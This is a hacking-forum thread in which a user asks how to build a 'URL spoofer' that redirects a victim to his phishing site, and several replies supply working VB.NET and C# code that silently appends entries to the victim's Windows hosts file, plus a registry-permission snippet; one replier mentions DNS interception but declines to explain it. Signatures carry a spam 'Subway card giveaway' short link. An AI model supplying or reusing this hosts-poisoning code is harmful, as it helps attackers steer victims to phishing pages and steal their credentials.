[need help] How to spoof URL menu

Shout-Out

User Tag List

Results 1 to 6 of 6
  1. #1
    blubb12345's Avatar Contributor
    Reputation
    121
    Join Date
    Feb 2007
    Posts
    193
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    [need help] How to spoof URL

    hi,

    i try to code a url spoofer so i need you help

    i figured out how to make websites for the victim unreachable but i want that he get redicted to myphising site which is not at an dedicated website.

    is and if how it possible to redirect 127.0.0.1 or any website to eg LEO Deutsch-Englisches Wörterbuch ?

    it would be great if the program does not need to run to redirect

    regards blubb
    $50 SUBWAY CARD GIVEAWAY >> https://bit.ly/aMbaU5 << LIMITED TIME OFFER

    [need help] How to spoof URL
  2. #2
    1337person's Avatar Active Member
    Reputation
    21
    Join Date
    Aug 2007
    Posts
    119
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    you could always edit hes Host file, Get the ip of the site you want him to get redirected 2 and then the site you want to block, so it looks like this for exampel
    192.71.238.76 Fragbite.com
    This Redirects the person to "Aftonbladet.se insteed of Fragbite.com but it still say Fragbite in hes Field Hope this helpt you


    Edit.

    Heres a code for VB.net that edits the Host when he presses the button or whatever

    Dim FILE_NAME As String = "C:\WINDOWS\system32\drivers\etc\hosts"
    Dim objWriter As New System.IO.StreamWriter(FILE_NAME, True)
    objWriter.Write("127.0.0.1 www.runescape.com")
    objWriter.Close()

    Just change the 127.0.0.1 and the Adress there and u will be fine

  3. #3
    Apoc's Avatar Angry Penguin
    Reputation
    1388
    Join Date
    Jan 2008
    Posts
    2,750
    Thanks G/R
    0/13
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    I guess the simplest way would be to change a few lines in the hosts file on the person's computer. Although that's quite easy to figure out, and most AV's pick up on the file being modified. Changing the hosts file would require your app to be run once, and that's it.

    The following code is a small C# snippet to do the 'hard work' for you.

    Code:
            public static void Set(string ipToRedirectTo, string domainToUse)
            {
                RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters");
                if (key != null)
                {
                    string p = key.GetValue("DataBasePath").ToString();
                    MessageBox.Show(p);
                    using (TextWriter tw = new StreamWriter(p + "\\hosts", true))
                    {
                        tw.WriteLine("{0}      {1}", ipToRedirectTo, domainToUse);
                    }
                }
            }
    Pretty self explanatory.

    The other method is intercepting DNS requests outgoing from the PC, and modifying them. (Such as what I did for quite some time) But that's a whole 'nother world.
    Last edited by Apoc; 12-24-2008 at 01:53 PM.

  4. #4
    Clain's Avatar Banned
    Reputation
    179
    Join Date
    Jan 2008
    Posts
    1,396
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    If you use Apoc's snippet you need to set permission to read values from the registry.

    Code:
    [assembly: RegistryPermissionAttribute(SecurityAction.RequestMinimum,
        ViewAndModify = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters"
    Last edited by Clain; 12-24-2008 at 02:46 PM.

  5. #5
    blubb12345's Avatar Contributor
    Reputation
    121
    Join Date
    Feb 2007
    Posts
    193
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    thanks for your answers
    i figured the hosts thinga few days ago but the probelm with this method is that it redicts to an ip not an url.
    heres my vb thing^^:
    Code:
        Public Shared Sub Main(ByVal ip As String, ByVal rto As String)
    
            Using w As StreamWriter = File.AppendText("c:\windows\system32\drivers\etc\hosts")
                w.WriteLine(ip & Chr(9) & rto)
                w.Flush()
                w.Close()
            End Using
    
        End Sub
    i have an .com domain hosted my freehostia and this one has no static ip -> cant redirect to it.

    it seems that i have to learn a lot of coding so i can do the
    The other method is intercepting DNS requests outgoing from the PC, and modifying them. (Such as what I did for quite some time) But that's a whole 'nother world.
    blubb
    $50 SUBWAY CARD GIVEAWAY >> https://bit.ly/aMbaU5 << LIMITED TIME OFFER

  6. #6
    Apoc's Avatar Angry Penguin
    Reputation
    1388
    Join Date
    Jan 2008
    Posts
    2,750
    Thanks G/R
    0/13
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by Clain View Post
    If you use Apoc's snippet you need to set permission to read values from the registry.

    Code:
    [assembly: RegistryPermissionAttribute(SecurityAction.RequestMinimum,
        ViewAndModify = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters"
    Depends. I never set registry permissions, and it works on all target machines. (Tried on multiple platforms) Although, it doesn't hurt to set the permissions anyway :P

    Originally Posted by blubb12345 View Post
    thanks for your answers
    i figured the hosts thinga few days ago but the probelm with this method is that it redicts to an ip not an url.
    heres my vb thing^^:
    Code:
        Public Shared Sub Main(ByVal ip As String, ByVal rto As String)
    
            Using w As StreamWriter = File.AppendText("c:\windows\system32\drivers\etc\hosts")
                w.WriteLine(ip & Chr(9) & rto)
                w.Flush()
                w.Close()
            End Using
    
        End Sub
    i have an .com domain hosted my freehostia and this one has no static ip -> cant redirect to it.

    it seems that i have to learn a lot of coding so i can do the
    blubb
    Then you're S.O.L. Sorry, but I'm not going to explain how to intercept and reroute DNS requests :P

Similar Threads

  1. [How-To] Need Help. How to Fix Failed to detect location
    By naflush in forum Pokemon GO Hacks|Cheats
    Replies: 0
    Last Post: 08-12-2016, 05:27 AM
  2. [Need Help] How to downgrade in patches
    By Aleah12 in forum World of Warcraft Emulator Servers
    Replies: 5
    Last Post: 01-12-2008, 10:48 AM
  3. Replies: 3
    Last Post: 08-17-2007, 08:32 AM
All times are GMT -5. The time now is 05:44 AM. Powered by vBulletin® Version 4.2.3
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved. User Alert System provided by Advanced User Tagging (Pro) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Google Authenticator verification provided by Two-Factor Authentication (Free) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Digital Point modules: Sphinx-based search